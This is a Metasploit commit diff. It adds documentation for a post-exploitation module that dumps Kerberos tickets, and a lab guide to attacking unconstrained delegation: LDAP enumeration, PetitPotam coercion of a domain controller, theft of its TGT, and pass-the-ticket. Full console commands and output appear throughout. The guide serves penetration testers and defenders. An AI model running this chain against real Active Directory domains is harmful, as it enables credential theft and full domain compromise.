Land #18488, add kerberos_tickets post module
Adds a module to manage kerberos tickets from a compromised host. This PR also includes rail gun enhancements.
This commit is contained in:
commit
3bad98afc6
|
@ -292,7 +292,7 @@ queries:
|
||||||
references:
|
references:
|
||||||
- http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm
|
- http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm
|
||||||
- action: ENUM_UNCONSTRAINED_DELEGATION
|
- action: ENUM_UNCONSTRAINED_DELEGATION
|
||||||
description: 'Dump info about all known objects that allow uncontrained delegation.'
|
description: 'Dump info about all known objects that allow unconstrained delegation.'
|
||||||
filter: '(userAccountControl:1.2.840.113556.1.4.803:=524288)'
|
filter: '(userAccountControl:1.2.840.113556.1.4.803:=524288)'
|
||||||
attributes:
|
attributes:
|
||||||
- cn
|
- cn
|
||||||
|
|
|
@ -0,0 +1,226 @@
|
||||||
|
# Unconstrained Delegation Exploitation
|
||||||
|
|
||||||
|
If a computer account is configured for unconstrained delegation, and an attacker has administrative access to it then
|
||||||
|
the attacker can leverage it to compromise the Active Directory domain.
|
||||||
|
|
||||||
|
## Lab setup
|
||||||
|
|
||||||
|
For this attack to work there must be a computer account (workstation or server) in the active directory domain that has
|
||||||
|
been configured for unconstrained delegation.
|
||||||
|
|
||||||
|
On the domain controller:
|
||||||
|
|
||||||
|
1. Open "Active Directory Users and Computers"
|
||||||
|
2. Navigate to the computer account, right click and select "Properties"
|
||||||
|
3. In the "Delegation" tab, select "Trust this computer for delegation to any service (Kerberos only)"
|
||||||
|
|
||||||
|
On the target computer:
|
||||||
|
|
||||||
|
1. Force an update of group policy by running `gpupdate /force`
|
||||||
|
2. Reboot the computer
|
||||||
|
|
||||||
|
## Attack Workflow
|
||||||
|
|
||||||
|
This attack assumes that the attacker has:
|
||||||
|
|
||||||
|
1. The IP address of the domain controller.
|
||||||
|
2. The active directory domain name.
|
||||||
|
3. A compromised domain account (no special privileges are necessary).
|
||||||
|
4. The ability to fully compromise a target system through some means.
|
||||||
|
5. (Optional but recommended) Metasploit running with an attached database so the Kerberos ticket cache can be used.
|
||||||
|
Verify this using the `db_status` command.
|
||||||
|
|
||||||
|
At a high-level the summary to leverage this attack chain is:
|
||||||
|
|
||||||
|
1. Identify a target computer account configured with unconstrained delegation.
|
||||||
|
2. Compromise that target computer account to open a Meterpreter session with administrative privileges (SYSTEM works).
|
||||||
|
3. Coerce authentication to the compromised target from a domain controller.
|
||||||
|
4. Dump the Kerberos tickets from the compromised targets to obtain a TGT from the domain controller's computer account.
|
||||||
|
5. Use the TGT to authenticate to the domain controller as itself (the computer account).
|
||||||
|
|
||||||
|
### Target Identification
|
||||||
|
The unconstrained delegation setting is stored as a bit flag in the `userAccountControl` LDAP attribute. A domain
|
||||||
|
account can be used with the `auxiliary/gather/ldap_query` module to identify computer accounts configured for
|
||||||
|
unconstrained delegation. Note that by default domain controllers themselves are configured for unconstrained delegation
|
||||||
|
and should be ignored as targets.
|
||||||
|
|
||||||
|
Use the `ENUM_UNCONSTRAINED_DELEGATION` action to enumerate targets:
|
||||||
|
```
|
||||||
|
msf6 > use auxiliary/gather/ldap_query
|
||||||
|
msf6 auxiliary(gather/ldap_query) > set RHOSTS 192.168.159.10
|
||||||
|
RHOSTS => 192.168.159.10
|
||||||
|
msf6 auxiliary(gather/ldap_query) > set DOMAIN msflab.local
|
||||||
|
DOMAIN => msflab.local
|
||||||
|
msf6 auxiliary(gather/ldap_query) > set USERNAME aliddle
|
||||||
|
USERNAME => aliddle
|
||||||
|
msf6 auxiliary(gather/ldap_query) > set PASSWORD Password1!
|
||||||
|
PASSWORD => Password1!
|
||||||
|
msf6 auxiliary(gather/ldap_query) > set ACTION ENUM_UNCONSTRAINED_DELEGATION
|
||||||
|
ACTION => ENUM_UNCONSTRAINED_DELEGATION
|
||||||
|
msf6 auxiliary(gather/ldap_query) > run
|
||||||
|
[*] Running module against 192.168.159.10
|
||||||
|
|
||||||
|
[*] Discovering base DN automatically
|
||||||
|
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
|
||||||
|
[+] 192.168.159.10:389 Discovered schema DN: DC=msflab,DC=local
|
||||||
|
CN=WS01 CN=Computers DC=msflab DC=local
|
||||||
|
=======================================
|
||||||
|
|
||||||
|
Name Attributes
|
||||||
|
---- ----------
|
||||||
|
cn WS01
|
||||||
|
objectcategory CN=Computer,CN=Schema,CN=Configuration,DC=msflab,DC=local
|
||||||
|
samaccountname WS01$
|
||||||
|
|
||||||
|
CN=DC OU=Domain Controllers DC=msflab DC=local
|
||||||
|
==============================================
|
||||||
|
|
||||||
|
Name Attributes
|
||||||
|
---- ----------
|
||||||
|
cn DC
|
||||||
|
memberof CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=msflab,DC=local || CN=Cert Publishers,CN=Users,DC=msflab,DC=local
|
||||||
|
objectcategory CN=Computer,CN=Schema,CN=Configuration,DC=msflab,DC=local
|
||||||
|
samaccountname DC$
|
||||||
|
|
||||||
|
[*] Auxiliary module execution completed
|
||||||
|
msf6 auxiliary(gather/ldap_query) >
|
||||||
|
```
|
||||||
|
|
||||||
|
This results in two potential targets, WS01 and DC. Next, use the `ENUM_DOMAIN_CONTROLLERS` action to identify the
|
||||||
|
domain controllers to remove from the list of potential targets.
|
||||||
|
|
||||||
|
```
|
||||||
|
msf6 auxiliary(gather/ldap_query) > set ACTION ENUM_DOMAIN_CONTROLLERS
|
||||||
|
ACTION => ENUM_DOMAIN_CONTROLLERS
|
||||||
|
msf6 auxiliary(gather/ldap_query) > run
|
||||||
|
[*] Running module against 192.168.159.10
|
||||||
|
|
||||||
|
[*] Discovering base DN automatically
|
||||||
|
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
|
||||||
|
[+] 192.168.159.10:389 Discovered schema DN: DC=msflab,DC=local
|
||||||
|
CN=DC OU=Domain Controllers DC=msflab DC=local
|
||||||
|
==============================================
|
||||||
|
|
||||||
|
Name Attributes
|
||||||
|
---- ----------
|
||||||
|
distinguishedname CN=DC,OU=Domain Controllers,DC=msflab,DC=local
|
||||||
|
dnshostname DC.msflab.local
|
||||||
|
name DC
|
||||||
|
operatingsystem Windows Server 2019 Standard
|
||||||
|
operatingsystemversion 10.0 (17763)
|
||||||
|
|
||||||
|
[*] Auxiliary module execution completed
|
||||||
|
msf6 auxiliary(gather/ldap_query) >
|
||||||
|
```
|
||||||
|
|
||||||
|
This shows that DC is a domain controller and should be removed from the list, leaving WS01 as the only viable target.
|
||||||
|
|
||||||
|
### Exploitation
|
||||||
|
Now the WS01 system needs to be compromised through some means to obtain a Meterpreter session. Once a Meterpreter
|
||||||
|
session has been obtained, the Domain Controller needs to be coerced into authenticating to the target. The
|
||||||
|
`auxiliary/scanner/dcerpc/petitpotam` module can be used for this purpose. Use the module, and take care to set the
|
||||||
|
`LISTENER` option to **the hostname of the compromised host**. The hostname must be used and not an IP address. Set the
|
||||||
|
remaining options including `RHOSTS` to the domain controller, and `SMBUser` / `SMBPass` to the credentials of the
|
||||||
|
compromised domain account.
|
||||||
|
|
||||||
|
```
|
||||||
|
msf6 > use auxiliary/scanner/dcerpc/petitpotam
|
||||||
|
msf6 auxiliary(scanner/dcerpc/petitpotam) > set LISTENER ws01.msflab.local
|
||||||
|
LISTENER => ws01.msflab.local
|
||||||
|
msf6 auxiliary(scanner/dcerpc/petitpotam) > set SMBUser aliddle
|
||||||
|
SMBUser => aliddle
|
||||||
|
msf6 auxiliary(scanner/dcerpc/petitpotam) > set SMBPass Password1!
|
||||||
|
SMBPass => Password1!
|
||||||
|
msf6 auxiliary(scanner/dcerpc/petitpotam) > set RHOSTS 192.168.159.10
|
||||||
|
RHOSTS => 192.168.159.10
|
||||||
|
msf6 auxiliary(scanner/dcerpc/petitpotam) > run
|
||||||
|
|
||||||
|
[+] 192.168.159.10:445 - Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful
|
||||||
|
[*] 192.168.159.10:445 - Scanned 1 of 1 hosts (100% complete)
|
||||||
|
[*] Auxiliary module execution completed
|
||||||
|
msf6 auxiliary(scanner/dcerpc/petitpotam) >
|
||||||
|
```
|
||||||
|
|
||||||
|
If the module does not indicate that the attack was successful, another tool like
|
||||||
|
[`Coercer`](https://github.com/p0dalirius/Coercer) can be used to try additional methods.
|
||||||
|
|
||||||
|
Now that the domain controller has authenticated to the target it's necessary to dump the kerberos tickets from the
|
||||||
|
compromised target. Use the `post/windows/manage/kerberos_tickets` module and the `DUMP_TICKETS` action to dump the TGTs
|
||||||
|
from the compromised host. If the attack was successful there should be at least one TGT from the domain controller's
|
||||||
|
computer account.
|
||||||
|
|
||||||
|
```
|
||||||
|
msf6 > use post/windows/manage/kerberos_tickets
|
||||||
|
msf6 post(windows/manage/kerberos_tickets) > set SESSION -1
|
||||||
|
SESSION => -1
|
||||||
|
msf6 post(windows/manage/kerberos_tickets) > set SERVICE krbtgt/*
|
||||||
|
SERVICE => krbtgt/*
|
||||||
|
msf6 post(windows/manage/kerberos_tickets) > run
|
||||||
|
|
||||||
|
[*] LSA Handle: 0x000001efe1c415a0
|
||||||
|
[*] LogonSession LUID: 0x00004bc1d
|
||||||
|
[*] User: MSFLAB\DC$
|
||||||
|
[*] Session: 0
|
||||||
|
[*] AuthenticationPackage: Kerberos
|
||||||
|
[*] LogonType: Network (3)
|
||||||
|
[*] LogonTime: 2023-08-23 08:33:17 -0400
|
||||||
|
[*] Ticket[0]
|
||||||
|
[*] TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230823151727_default_192.168.159.10_mit.kerberos.cca_488233.bin
|
||||||
|
Primary Principal: DC$@MSFLAB.LOCAL
|
||||||
|
Ccache version: 4
|
||||||
|
|
||||||
|
Creds: 1
|
||||||
|
Credential[0]:
|
||||||
|
Server: krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL
|
||||||
|
Client: DC$@MSFLAB.LOCAL
|
||||||
|
Ticket etype: 18 (AES256)
|
||||||
|
Key: e515137250f072d44b7487c09b8033a34ff1c7e96ad20674007c255a0a8de2b0
|
||||||
|
Subkey: false
|
||||||
|
Ticket Length: 1006
|
||||||
|
Ticket Flags: 0x60a10000 (FORWARDABLE, FORWARDED, RENEWABLE, PRE_AUTHENT, CANONICALIZE)
|
||||||
|
Addresses: 0
|
||||||
|
Authdatas: 0
|
||||||
|
Times:
|
||||||
|
Auth time: 1969-12-31 19:00:00 -0500
|
||||||
|
Start time: 2023-08-23 08:33:17 -0400
|
||||||
|
End time: 2023-08-23 18:33:17 -0400
|
||||||
|
Renew Till: 2023-08-30 08:33:17 -0400
|
||||||
|
Ticket:
|
||||||
|
Ticket Version Number: 5
|
||||||
|
Realm: MSFLAB.LOCAL
|
||||||
|
Server Name: krbtgt/MSFLAB.LOCAL
|
||||||
|
Encrypted Ticket Part:
|
||||||
|
Ticket etype: 18 (AES256)
|
||||||
|
Key Version Number: 2
|
||||||
|
Cipher:
|
||||||
|
L/csyZle+LDn1i7Yqci0vbZCHrjO8CeQXBSix3d1lCR66sR0Zq/ogR/6g3X8yGn9acvGjAtt29ZErQe4FA3ttZ6MA2p8QldvbQCvELLpQkOHKrmzd2YhWy5YxfbwzFpZT0OtFEB0gYW3AQuOyRKk5vCuljZH6bPaz77g8KUejFx80tJbmz6n2GLOzG8rcMiy/i/zYreG6TLnjZJgw3UVABFSjUKs20eSK2Le5OxSKfcBQTwaRp+BPdXWGbMNYWwTUntAZGC5G6DE9xglY0+T2D/9HFSWVesrnduMmzHR9NojQYezHJorMKh7m5/KeNEzuJUDLCkgX/Uscq8dc6XMaFH7aIsg5+nlAZBPTrYtkayun6AaTLJpqLg90ab3iYCZpvdCBKBPapg3271YVHe8i7OaDDJWXMNooi+6Jg+B1cnBRH9qQ5T2k7RQLMNez9P8dvuMkDmFpRz5KOJk+w+Mz6XFeu9g1Z4zXQ6msI060PrwvAENevTN9DKUWtDGBCQMTjBDm75sMA7Aq8KgBqKYUhP+CV+HzgFou4P1/t3l+udRBIYfQw68EHW2dQE/ZZR+oLPPHbCsbnpkp/rSFjdsl0E9Zm4upPty3M+sKd2fdZSLXs5CLBs5WeZmPrXHrHnyC/AnoLNQVTVCtv5EpM50BWooXWKHljLctHxN/W6ZXgqwZ4R7KNYIrtaAsmLrkq2K/z+zsuAWRoDKFtLWZMD9eqfsGi2bRBqPf74+mi1bPXL/1eWlUwmrjr5Buj4kvC8XB+wTRoAkSrjoAx7IglfSIKdW/5N3CX6G+smJWZCsrGIvouTzIzcpHCXgoaHypnm2B9G7yIwkDgpCFd4MW3t8ZrZXOjuReQ6Aiy9mXHlbReX9G3Xl0fj7z4cIKSV4YiyEkjXJE+eAT7GdtJEPFXJJw6Fxhdam+FL+SKVvu4kw+uvqfz72GDG24/KqM3/0L58M96oEd1LHnVoHwuPtfDA7xhvHDu8iYZOkOjDc5cwMCU0MmW5A1cijTuNfSeRRHx6xXLPKkIJH/5XWeg7BAG3lnlOgS/HKj+Uhti7fabZHUvXyGAdA7CJzZ2OUlZY6Acm9JU2EuUfFvnpEjAtasckDA43pb/r4ZNIZPxcq6gpgcdFpZIb8H7bbWdIIinDJfFkEunJ7E1TG9wSbX6j6JfThG31L7EBW+UPHlDa4k1wPFMP3lNgleVUBi0n24T1RBTb6c5W0Cw==
|
||||||
|
[*] LogonSession LUID: 0x00001052b
|
||||||
|
[*] User: Window Manager\DWM-1
|
||||||
|
[*] Session: 1
|
||||||
|
[*] AuthenticationPackage: Negotiate
|
||||||
|
[*] LogonType: Interactive (2)
|
||||||
|
[*] LogonTime: 2023-08-23 08:32:38 -0400
|
||||||
|
|
||||||
|
... omitted for brevity ...
|
||||||
|
```
|
||||||
|
|
||||||
|
In this case, a TGT for the `MSFLAB\DC$` account was obtained through the logon session with LUID `0x00004bc1d`. The
|
||||||
|
ticket was stored to disk in a ccache file. The ticket can also be seen in the output of `klist`.
|
||||||
|
|
||||||
|
```
|
||||||
|
msf6 post(windows/manage/kerberos_tickets) > klist
|
||||||
|
Kerberos Cache
|
||||||
|
==============
|
||||||
|
id host principal sname issued status path
|
||||||
|
-- ---- --------- ----- ------ ------ ----
|
||||||
|
411 192.168.159.10 DC$@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 09:32:46 -0400 active /home/smcintyre/.msf4/loot/20230823151744_default_192.168.159.10_mit.kerberos.cca_307418.bin
|
||||||
|
407 192.168.159.10 WS01$@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 15:14:46 -0400 active /home/smcintyre/.msf4/loot/20230823151735_default_192.168.159.10_mit.kerberos.cca_760842.bin
|
||||||
|
|
||||||
|
msf6 post(windows/manage/kerberos_tickets) >
|
||||||
|
```
|
||||||
|
|
||||||
|
### Using The Ticket
|
||||||
|
Now that at TGT for the domain controller has been obtained, it can be used in a Pass-The-Ticket style attack whereby
|
||||||
|
the attacker uses it to authenticate to the target. The `auxiliary/gather/windows_secrets_dump` module is a good one to
|
||||||
|
use for this purpose as it will yield additional accounts while avoiding running any kind of payload on the domain
|
||||||
|
controller.
|
|
@ -186,7 +186,11 @@ NAVIGATION_CONFIG = [
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
path: '../../documentation/modules/auxiliary/admin/ldap/rbcd.md',
|
path: '../../documentation/modules/auxiliary/admin/ldap/rbcd.md',
|
||||||
title: 'RBCD - Resource-based constrained delegation'
|
title: 'Resource-based constrained delegation (RBCD)'
|
||||||
|
},
|
||||||
|
{
|
||||||
|
path: 'kerberos/unconstrained_delegation.md',
|
||||||
|
title: 'Unconstrained delegation'
|
||||||
}
|
}
|
||||||
]
|
]
|
||||||
},
|
},
|
||||||
|
|
|
@ -0,0 +1,405 @@
|
||||||
|
Manage kerberos tickets on a compromised host. Different actions are available for different tasks. Kerberos tickets are
|
||||||
|
associated with logon sessions which can be enumerated with the `ENUM_LUIDS` action. s
|
||||||
|
|
||||||
|
## Options
|
||||||
|
|
||||||
|
### LUID
|
||||||
|
An optional logon session LUID to target in the DUMP_TICKETS and SHOW_LUID actions. The LUID is expressed in hex, e.g.
|
||||||
|
`0x11223344`.
|
||||||
|
|
||||||
|
### SERVICE
|
||||||
|
An optional service name wildcard to target in the DUMP_TICKETS action. This option accepts wild cards. For example, to
|
||||||
|
dump only TGTs use `krbtgt/*` and to only dump tickets for dc.msflab.local, use `*/dc.msflab.local`. Wildcards and
|
||||||
|
service names are case insensitive.
|
||||||
|
|
||||||
|
## Actions
|
||||||
|
|
||||||
|
### DUMP_TICKETS
|
||||||
|
This action allows dumping kerberos tickets from a compromised host. These tickets are loaded into Metasploit's
|
||||||
|
kerberos ticket cache when Metasploit is connected to a database. If the Meterpreter session is running with
|
||||||
|
administrative privileges, then the tickets from all logon sessions can be dumped. If the Meterpreter session is not
|
||||||
|
running with Administrative privileges then only the tickets from the current logon session / current user can be
|
||||||
|
dumped. If the `LUID` option is set then only the tickets from that logon session will be dumped. Targeting a specific
|
||||||
|
LUID with the `LUID` option requires administrative privileges.
|
||||||
|
|
||||||
|
### ENUM_LUIDS
|
||||||
|
This action will enumerate the LUIDs of all active logon sessions. Some basic information is printed for each LUID.
|
||||||
|
|
||||||
|
### SHOW_LUID
|
||||||
|
This action will show the LUID and some basic information about the current logon session unless the `LUID` option is
|
||||||
|
set in which case that logon session is shown.
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
In this case the operator lists the currently cached Kerberos tickets in the Metasploit database. After that the
|
||||||
|
`DUMP_TICKETS` action is used with a service filter to dump the TGTs on the compromised host. Finally, the `klist`
|
||||||
|
command is used again to show the newly added TGTs.
|
||||||
|
|
||||||
|
```
|
||||||
|
msf6 post(windows/manage/kerberos_tickets) > klist
|
||||||
|
Kerberos Cache
|
||||||
|
==============
|
||||||
|
No tickets
|
||||||
|
|
||||||
|
msf6 post(windows/manage/kerberos_tickets) > run SESSION=-1 SERVICE=krbtgt/*
|
||||||
|
|
||||||
|
[*] LSA Handle: 0x000001efe1bf7270
|
||||||
|
[*] LogonSession LUID: 0x00004bc1d
|
||||||
|
[*] User: MSFLAB\DC$
|
||||||
|
[*] Session: 0
|
||||||
|
[*] AuthenticationPackage: Kerberos
|
||||||
|
[*] LogonType: Network (3)
|
||||||
|
[*] LogonTime: 2023-08-23 08:33:17 -0400
|
||||||
|
[*] Ticket[0]
|
||||||
|
[*] TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230823135453_default_192.168.159.10_mit.kerberos.cca_948767.bin
|
||||||
|
Primary Principal: DC$@MSFLAB.LOCAL
|
||||||
|
Ccache version: 4
|
||||||
|
|
||||||
|
Creds: 1
|
||||||
|
Credential[0]:
|
||||||
|
Server: krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL
|
||||||
|
Client: DC$@MSFLAB.LOCAL
|
||||||
|
Ticket etype: 18 (AES256)
|
||||||
|
Key: e515137250f072d44b7487c09b8033a34ff1c7e96ad20674007c255a0a8de2b0
|
||||||
|
Subkey: false
|
||||||
|
Ticket Length: 1006
|
||||||
|
Ticket Flags: 0x60a10000 (FORWARDABLE, FORWARDED, RENEWABLE, PRE_AUTHENT, CANONICALIZE)
|
||||||
|
Addresses: 0
|
||||||
|
Authdatas: 0
|
||||||
|
Times:
|
||||||
|
Auth time: 1969-12-31 19:00:00 -0500
|
||||||
|
Start time: 2023-08-23 08:33:17 -0400
|
||||||
|
End time: 2023-08-23 18:33:17 -0400
|
||||||
|
Renew Till: 2023-08-30 08:33:17 -0400
|
||||||
|
Ticket:
|
||||||
|
Ticket Version Number: 5
|
||||||
|
Realm: MSFLAB.LOCAL
|
||||||
|
Server Name: krbtgt/MSFLAB.LOCAL
|
||||||
|
Encrypted Ticket Part:
|
||||||
|
Ticket etype: 18 (AES256)
|
||||||
|
Key Version Number: 2
|
||||||
|
Cipher:
|
||||||
|
L/csyZle+LDn1i7Yqci0vbZCHrjO8CeQXBSix3d1lCR66sR0Zq/ogR/6g3X8yGn9acvGjAtt29ZErQe4FA3ttZ6MA2p8QldvbQCvELLpQkOHKrmzd2YhWy5YxfbwzFpZT0OtFEB0gYW3AQuOyRKk5vCuljZH6bPaz77g8KUejFx80tJbmz6n2GLOzG8rcMiy/i/zYreG6TLnjZJgw3UVABFSjUKs20eSK2Le5OxSKfcBQTwaRp+BPdXWGbMNYWwTUntAZGC5G6DE9xglY0+T2D/9HFSWVesrnduMmzHR9NojQYezHJorMKh7m5/KeNEzuJUDLCkgX/Uscq8dc6XMaFH7aIsg5+nlAZBPTrYtkayun6AaTLJpqLg90ab3iYCZpvdCBKBPapg3271YVHe8i7OaDDJWXMNooi+6Jg+B1cnBRH9qQ5T2k7RQLMNez9P8dvuMkDmFpRz5KOJk+w+Mz6XFeu9g1Z4zXQ6msI060PrwvAENevTN9DKUWtDGBCQMTjBDm75sMA7Aq8KgBqKYUhP+CV+HzgFou4P1/t3l+udRBIYfQw68EHW2dQE/ZZR+oLPPHbCsbnpkp/rSFjdsl0E9Zm4upPty3M+sKd2fdZSLXs5CLBs5WeZmPrXHrHnyC/AnoLNQVTVCtv5EpM50BWooXWKHljLctHxN/W6ZXgqwZ4R7KNYIrtaAsmLrkq2K/z+zsuAWRoDKFtLWZMD9eqfsGi2bRBqPf74+mi1bPXL/1eWlUwmrjr5Buj4kvC8XB+wTRoAkSrjoAx7IglfSIKdW/5N3CX6G+smJWZCsrGIvouTzIzcpHCXgoaHypnm2B9G7yIwkDgpCFd4MW3t8ZrZXOjuReQ6Aiy9mXHlbReX9G3Xl0fj7z4cIKSV4YiyEkjXJE+eAT7GdtJEPFXJJw6Fxhdam+FL+SKVvu4kw+uvqfz72GDG24/KqM3/0L58M96oEd1LHnVoHwuPtfDA7xhvHDu8iYZOkOjDc5cwMCU0MmW5A1cijTuNfSeRRHx6xXLPKkIJH/5XWeg7BAG3lnlOgS/HKj+Uhti7fabZHUvXyGAdA7CJzZ2OUlZY6Acm9JU2EuUfFvnpEjAtasckDA43pb/r4ZNIZPxcq6gpgcdFpZIb8H7bbWdIIinDJfFkEunJ7E1TG9wSbX6j6JfThG31L7EBW+UPHlDa4k1wPFMP3lNgleVUBi0n24T1RBTb6c5W0Cw==
|
||||||
|
[*] LogonSession LUID: 0x00001052b
|
||||||
|
[*] User: Window Manager\DWM-1
|
||||||
|
[*] Session: 1
|
||||||
|
[*] AuthenticationPackage: Negotiate
|
||||||
|
[*] LogonType: Interactive (2)
|
||||||
|
[*] LogonTime: 2023-08-23 08:32:38 -0400
|
||||||
|
[*] LogonSession LUID: 0x00000aa83
|
||||||
|
[*] User: \
|
||||||
|
[*] Session: 0
|
||||||
|
[*] AuthenticationPackage: NTLM
|
||||||
|
[*] LogonType: UndefinedLogonType (0)
|
||||||
|
[*] LogonTime: 2023-08-23 08:32:27 -0400
|
||||||
|
[-] Failed to call the authentication package. LsaCallAuthenticationPackage authentication package failed with: (0x00000520) ERROR_NO_SUCH_LOGON_SESSION: A specified logon session does not exist. It may already have been terminated.
|
||||||
|
[*] LogonSession LUID: 0x0000ae359
|
||||||
|
[*] User: MSFLAB\DC$
|
||||||
|
[*] Session: 0
|
||||||
|
[*] AuthenticationPackage: Kerberos
|
||||||
|
[*] LogonType: Network (3)
|
||||||
|
[*] LogonTime: 2023-08-23 08:38:08 -0400
|
||||||
|
[*] LogonSession LUID: 0x0000ae2d3
|
||||||
|
[*] User: MSFLAB\DC$
|
||||||
|
[*] Session: 0
|
||||||
|
[*] AuthenticationPackage: Kerberos
|
||||||
|
[*] LogonType: Network (3)
|
||||||
|
[*] LogonTime: 2023-08-23 08:38:08 -0400
|
||||||
|
[*] LogonSession LUID: 0x00004fff8
|
||||||
|
[*] User: MSFLAB\smcintyre
|
||||||
|
[*] Session: 1
|
||||||
|
[*] AuthenticationPackage: Negotiate
|
||||||
|
[*] LogonType: Interactive (2)
|
||||||
|
[*] LogonTime: 2023-08-23 08:33:18 -0400
|
||||||
|
[*] LogonSession LUID: 0x00004b823
|
||||||
|
[*] User: MSFLAB\DC$
|
||||||
|
[*] Session: 0
|
||||||
|
[*] AuthenticationPackage: Kerberos
|
||||||
|
[*] LogonType: Network (3)
|
||||||
|
[*] LogonTime: 2023-08-23 08:33:17 -0400
|
||||||
|
[*] LogonSession LUID: 0x00000b7c4
|
||||||
|
[*] User: Font Driver Host\UMFD-0
|
||||||
|
[*] Session: 0
|
||||||
|
[*] AuthenticationPackage: Negotiate
|
||||||
|
[*] LogonType: Interactive (2)
|
||||||
|
[*] LogonTime: 2023-08-23 08:32:37 -0400
|
||||||
|
[*] LogonSession LUID: 0x0001f3e4f
|
||||||
|
[*] User: MSFLAB\DC$
|
||||||
|
[*] Session: 0
|
||||||
|
[*] AuthenticationPackage: Kerberos
|
||||||
|
[*] LogonType: Network (3)
|
||||||
|
[*] LogonTime: 2023-08-23 09:42:34 -0400
|
||||||
|
[*] Ticket[0]
|
||||||
|
[*] TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230823135459_default_192.168.159.10_mit.kerberos.cca_126280.bin
|
||||||
|
Primary Principal: DC$@MSFLAB.LOCAL
|
||||||
|
Ccache version: 4
|
||||||
|
|
||||||
|
Creds: 1
|
||||||
|
Credential[0]:
|
||||||
|
Server: krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL
|
||||||
|
Client: DC$@MSFLAB.LOCAL
|
||||||
|
Ticket etype: 18 (AES256)
|
||||||
|
Key: e515137250f072d44b7487c09b8033a34ff1c7e96ad20674007c255a0a8de2b0
|
||||||
|
Subkey: false
|
||||||
|
Ticket Length: 1006
|
||||||
|
Ticket Flags: 0x60a10000 (FORWARDABLE, FORWARDED, RENEWABLE, PRE_AUTHENT, CANONICALIZE)
|
||||||
|
Addresses: 0
|
||||||
|
Authdatas: 0
|
||||||
|
Times:
|
||||||
|
Auth time: 1969-12-31 19:00:00 -0500
|
||||||
|
Start time: 2023-08-23 08:33:17 -0400
|
||||||
|
End time: 2023-08-23 18:33:17 -0400
|
||||||
|
Renew Till: 2023-08-30 08:33:17 -0400
|
||||||
|
Ticket:
|
||||||
|
Ticket Version Number: 5
|
||||||
|
Realm: MSFLAB.LOCAL
|
||||||
|
Server Name: krbtgt/MSFLAB.LOCAL
|
||||||
|
Encrypted Ticket Part:
|
||||||
|
Ticket etype: 18 (AES256)
|
||||||
|
Key Version Number: 2
|
||||||
|
Cipher:
|
||||||
|
L/csyZle+LDn1i7Yqci0vbZCHrjO8CeQXBSix3d1lCR66sR0Zq/ogR/6g3X8yGn9acvGjAtt29ZErQe4FA3ttZ6MA2p8QldvbQCvELLpQkOHKrmzd2YhWy5YxfbwzFpZT0OtFEB0gYW3AQuOyRKk5vCuljZH6bPaz77g8KUejFx80tJbmz6n2GLOzG8rcMiy/i/zYreG6TLnjZJgw3UVABFSjUKs20eSK2Le5OxSKfcBQTwaRp+BPdXWGbMNYWwTUntAZGC5G6DE9xglY0+T2D/9HFSWVesrnduMmzHR9NojQYezHJorMKh7m5/KeNEzuJUDLCkgX/Uscq8dc6XMaFH7aIsg5+nlAZBPTrYtkayun6AaTLJpqLg90ab3iYCZpvdCBKBPapg3271YVHe8i7OaDDJWXMNooi+6Jg+B1cnBRH9qQ5T2k7RQLMNez9P8dvuMkDmFpRz5KOJk+w+Mz6XFeu9g1Z4zXQ6msI060PrwvAENevTN9DKUWtDGBCQMTjBDm75sMA7Aq8KgBqKYUhP+CV+HzgFou4P1/t3l+udRBIYfQw68EHW2dQE/ZZR+oLPPHbCsbnpkp/rSFjdsl0E9Zm4upPty3M+sKd2fdZSLXs5CLBs5WeZmPrXHrHnyC/AnoLNQVTVCtv5EpM50BWooXWKHljLctHxN/W6ZXgqwZ4R7KNYIrtaAsmLrkq2K/z+zsuAWRoDKFtLWZMD9eqfsGi2bRBqPf74+mi1bPXL/1eWlUwmrjr5Buj4kvC8XB+wTRoAkSrjoAx7IglfSIKdW/5N3CX6G+smJWZCsrGIvouTzIzcpHCXgoaHypnm2B9G7yIwkDgpCFd4MW3t8ZrZXOjuReQ6Aiy9mXHlbReX9G3Xl0fj7z4cIKSV4YiyEkjXJE+eAT7GdtJEPFXJJw6Fxhdam+FL+SKVvu4kw+uvqfz72GDG24/KqM3/0L58M96oEd1LHnVoHwuPtfDA7xhvHDu8iYZOkOjDc5cwMCU0MmW5A1cijTuNfSeRRHx6xXLPKkIJH/5XWeg7BAG3lnlOgS/HKj+Uhti7fabZHUvXyGAdA7CJzZ2OUlZY6Acm9JU2EuUfFvnpEjAtasckDA43pb/r4ZNIZPxcq6gpgcdFpZIb8H7bbWdIIinDJfFkEunJ7E1TG9wSbX6j6JfThG31L7EBW+UPHlDa4k1wPFMP3lNgleVUBi0n24T1RBTb6c5W0Cw==
|
||||||
|
[*] LogonSession LUID: 0x0001243b3
|
||||||
|
[*] User: MSFLAB\DC$
|
||||||
|
[*] Session: 0
|
||||||
|
[*] AuthenticationPackage: Kerberos
|
||||||
|
[*] LogonType: Network (3)
|
||||||
|
[*] LogonTime: 2023-08-23 08:47:47 -0400
|
||||||
|
[*] LogonSession LUID: 0x0000003e5
|
||||||
|
[*] User: NT AUTHORITY\LOCAL SERVICE
|
||||||
|
[*] Session: 0
|
||||||
|
[*] AuthenticationPackage: Negotiate
|
||||||
|
[*] LogonType: Service (5)
|
||||||
|
[*] LogonTime: 2023-08-23 08:32:38 -0400
|
||||||
|
[*] LogonSession LUID: 0x0000ae390
|
||||||
|
[*] User: MSFLAB\DC$
|
||||||
|
[*] Session: 0
|
||||||
|
[*] AuthenticationPackage: Kerberos
|
||||||
|
[*] LogonType: Network (3)
|
||||||
|
[*] LogonTime: 2023-08-23 08:38:08 -0400
|
||||||
|
